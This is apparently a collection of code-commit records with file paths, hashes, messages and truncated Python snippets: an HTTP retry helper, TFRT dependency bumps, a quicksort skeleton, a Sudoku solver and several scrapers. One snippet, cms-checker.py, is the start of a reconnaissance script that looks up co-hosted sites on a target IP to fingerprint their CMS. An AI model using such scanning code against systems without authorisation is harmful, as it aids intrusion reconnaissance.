octopus/lib/requests_get_with_retries.py
octopus/lib/requests_get_with_retries.py
import requests from time import sleep def http_get_with_backoff_retries(url, max_retries=5, timeout=30): if not url: return attempt = 0 r = None while attempt <= max_retries: try: r = requests.get(url, timeout=timeout) break except requests.exceptions.T...
Python
0
a8b524318d7f9d4406193d610b2bb3ef8e56e147
Add frameless drag region example.
examples/frameless_drag_region.py
examples/frameless_drag_region.py
import webview ''' This example demonstrates a user-provided "drag region" to move a frameless window around, whilst maintaining normal mouse down/move events elsewhere. This roughly replicates `-webkit-drag-region`. ''' html = ''' <head> <style type="text/css"> .pywebview-drag-region { width:...
Python
0
6fde041c3a92f0d0a0b92da55b12c8e60ecc7196
Create handle_file.py
handle_file.py
handle_file.py
import os,sys,subprocess g_dbg = '-dbg' in sys.argv or False def handle_generic(fp,fn,fe): print 'Unknown extension for [{}]'.format(fp) def handle_md(fp,fn,fe): started = False; exec_cmd = []; with open(fp, "r") as ifile: lines = [x.rstrip().strip() for x in ifile.readlines()] for line in lines: if started ...
Python
0.000003
829dbfe0c13284345e0fa305f71937738a6c8f50
Create cms-checker.py
web/cms-checker.py
web/cms-checker.py
#!/usr/bin/env python # Original source: http://www.blackcoder.info/c/cmschecker.txt # Usage example: $ python cms-checker.py --addr 192.168.1.1 import urllib2 import argparse import os import sys class neo: def cmsfinder(self): url = "http://api.hackertarget.com/reverseiplookup/?q="+args.addr rever = urllib2.R...
Python
0.000002
85a604a1991b5dc9a017514848645723921247a7
add missing file
mcp/constants.py
mcp/constants.py
# # Copyright (c) 2007 rPath, Inc. # # All rights reserved # version = '1.0.0'
Python
0.000003
a857340a2d67a8055b9e3802327800dcdd652df4
Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/037eb7657cb3f49c70c18f959421831e6cb9e4ad.
third_party/tf_runtime/workspace.bzl
third_party/tf_runtime/workspace.bzl
"""Provides the repository macro to import TFRT.""" load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls") def repo(): """Imports TFRT.""" # Attention: tools parse and update these lines. TFRT_COMMIT = "037eb7657cb3f49c70c18f959421831e6cb9e4ad" TFRT_SHA256 = "80194df160fb8c91c7fcc84f34a6...
"""Provides the repository macro to import TFRT.""" load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls") def repo(): """Imports TFRT.""" # Attention: tools parse and update these lines. TFRT_COMMIT = "d6884515d2b821161b35c1375d6ea25fe6811d62" TFRT_SHA256 = "0771a906d327a92bdc46b02c8ac3...
Python
0.000002
c563f12bcb8b10daca64e19ade3c373c112cb659
Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/8f7619fa042357fa754002104f575a8a72ee69ed.
third_party/tf_runtime/workspace.bzl
third_party/tf_runtime/workspace.bzl
"""Provides the repository macro to import TFRT.""" load("//third_party:repo.bzl", "tf_http_archive") def repo(): """Imports TFRT.""" # Attention: tools parse and update these lines. TFRT_COMMIT = "8f7619fa042357fa754002104f575a8a72ee69ed" TFRT_SHA256 = "2cb8410fb4655d71c099fb9f2d3721d0e485c8db518553...
"""Provides the repository macro to import TFRT.""" load("//third_party:repo.bzl", "tf_http_archive") def repo(): """Imports TFRT.""" # Attention: tools parse and update these lines. TFRT_COMMIT = "584ba7eab84bd45941fabc28fbe8fa43c74673d8" TFRT_SHA256 = "e2f45638580ba52116f099d52b73c3edcf2ad81736a434...
Python
0.000001
29e3d6b706a33780b1cb4863200ec7525ff035ce
Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/cdf6d36e9a5c07770160ebac25b153481c37a247.
third_party/tf_runtime/workspace.bzl
third_party/tf_runtime/workspace.bzl
"""Provides the repository macro to import TFRT.""" load("//third_party:repo.bzl", "tf_http_archive") def repo(): """Imports TFRT.""" # Attention: tools parse and update these lines. TFRT_COMMIT = "cdf6d36e9a5c07770160ebac25b153481c37a247" TFRT_SHA256 = "c197f9b3584cae2d65fc765f999298ae8b70d9424ec0d4...
"""Provides the repository macro to import TFRT.""" load("//third_party:repo.bzl", "tf_http_archive") def repo(): """Imports TFRT.""" # Attention: tools parse and update these lines. TFRT_COMMIT = "6ca8a6dff0e5d4f3a17b0c0879aa5de622683680" TFRT_SHA256 = "09779efe84cc84e859e206dd49ae6b993577d7dae41f90...
Python
0.000002
6276cf142d233db377dc490a47c5ad56d2906c75
Add version module
cards/version.py
cards/version.py
# coding=utf-8 __version__ = '0.4.9'
Python
0
6c7df140c6dccb4b56500ba25f6b66ab7ea3b605
solve 1 problem
solutions/reverse-bits.py
solutions/reverse-bits.py
#!/usr/bin/env python # encoding: utf-8 """ reverse-bits.py Created by Shuailong on 2016-03-02. https://leetcode.com/problems/reverse-bits/. """ class Solution(object): def reverseBits(self, n): """ :type n: int :rtype: int """ res = 0 count = 0 while n:...
Python
0.000027
793b273c3fdcef428ffb6aec5dbcbb768989f175
Add 0004 file
Drake-Z/0004/0004.py
Drake-Z/0004/0004.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- '第 0004 题:任一个英文的纯文本文件,统计其中的单词出现的个数。' __author__ = 'Drake-Z' import re def tongji(file_path): f = open(file_path, 'r').read() f = re.split(r'[\s\,\;,\n]+', f) print(len(f)) return 0 if __name__ == '__main__': file_path = 'English.txt' tongji(fil...
Python
0.000001
06f66859c305465c3f6f38617ecada4da94d41ff
set up skeleton
algorithms/sorting/quicksort.py
algorithms/sorting/quicksort.py
from random import randint def quicksort(unsorted): if len(unsorted) <= 1: return unsorted start = 0 end = start + 1 pivot = choose_pivot(start, end) sort(unsorted, start, pivot, end) def choose_pivot(start, end): pivot = randint(start, end) return pivo...
Python
0.000002
0e31b15e4dae95b862fd4777659a9210e5e4ec86
change of file path
preprocessing/python_scripts/renpass_gis/simple_feedin/renpassgis_feedin.py
preprocessing/python_scripts/renpass_gis/simple_feedin/renpassgis_feedin.py
""" ToDO: * Greate one scaled time series * Database table: * model_draft.ego_weather_measurement_point * model_draft.ego_simple_feedin_full Change db.py and add ego_simple_feedin_full """ __copyright__ = "ZNES" __license__ = "GNU Affero General Public License Version 3 (AGPL-3.0)" __url__ = "https://git...
Python
0.000002
cbd64641f30c1a464528a2ec6d5323d29766830d
Add word embedding
hazm/embedding.py
hazm/embedding.py
from . import word_tokenize from gensim.models import KeyedVectors from gensim.scripts.glove2word2vec import glove2word2vec import fasttext, os supported_embeddings = ['fasttext', 'keyedvector', 'glove'] class WordEmbedding: def __init__(self, model_type, model=None): if model_type not in supported_embed...
Python
0.00733
f34c91a6969567b23ad880dc43a0346cc5a5b513
Add get_arxiv.py to download PDF from arXiv
cli/get_arxiv.py
cli/get_arxiv.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Get the arxiv abstract data and PDF for a given arxiv id. # # Weitian LI <liweitianux@gmail.com> # 2015/01/23 # import sys import re import urllib import subprocess import time import mimetypes from bs4 import BeautifulSoup mirror = "http://jp.arxiv.org/" def get_u...
Python
0
13851dd6f2101ceea917504bd57540a4e54f0954
Create __init__.py
fb_nsitbot/migrations/__init__.py
fb_nsitbot/migrations/__init__.py
Python
0.000429
14647b71fec7a81d92f044f6ac88304a4b11e5fd
create http server module
src/step1.py
src/step1.py
"""A simple HTTP server.""" def response_ok(): """Testing for 200 response code.""" pass
Python
0
0a97f34b4ae4f7f19bfe00c26f495f399f827fab
Add file_regex
python/file_regex/tmp.py
python/file_regex/tmp.py
# -*- coding: utf-8 -*- import re file_name = 'hogehoge' org_file = open(file_name + '.txt') lines = org_file.readlines() org_file.close() dist_file = open(file_name + '_after.txt', 'w') pattern = r'title=\".+?\"' all_title = re.findall(pattern, ''.join(lines)) if all_title: for title in all_title: dist_...
Python
0.000001
0297e8b1762d495ffd696106bc6498def0ddf600
Add membership.utils.monthRange to calculate start and end dates of months easily
spiff/membership/utils.py
spiff/membership/utils.py
import datetime import calendar from django.utils.timezone import utc def monthRange(today=None): if today is None: today = datetime.datetime.utcnow().replace(tzinfo=utc) lastDayOfMonth = calendar.monthrange(today.year, today.month)[1] startOfMonth = datetime.datetime(today.year, today.month, 1, tzinfo=utc) ...
Python
0
6441ce1bc3132220e2d86bb75eff9169b3675751
add spiderNormal
spiderNormal.py
spiderNormal.py
#!/usr/bin/python # -*- coding: utf-8 -*- #author zeck.tang 2016.03.03 """ 文件头两行注释是用于避免文件中包含中文导致如下错误 SyntaxError: Non-ASCII character XXX in file xxx.py on line xx, but no encoding declared see http://python.org/dev/peps/pep-0263/ for details 如果遇到 IndentationError: unexpected indent 这样的错误,请仔细检查每个空格和tab """ import url...
Python
0.999891
747733309d0fb0c47dac2ae8c0056a461c632b5c
Add base classes and run some experiments
sudoku.py
sudoku.py
""" Module for solving Sudoku Puzzles """ class Cell(object): def __init__(self, value=None): self.solved = False self.excluded = [] self.value = value if value is not None else -1 self.row = None self.column = None self.box = None def exclude(self): # a...
Python
0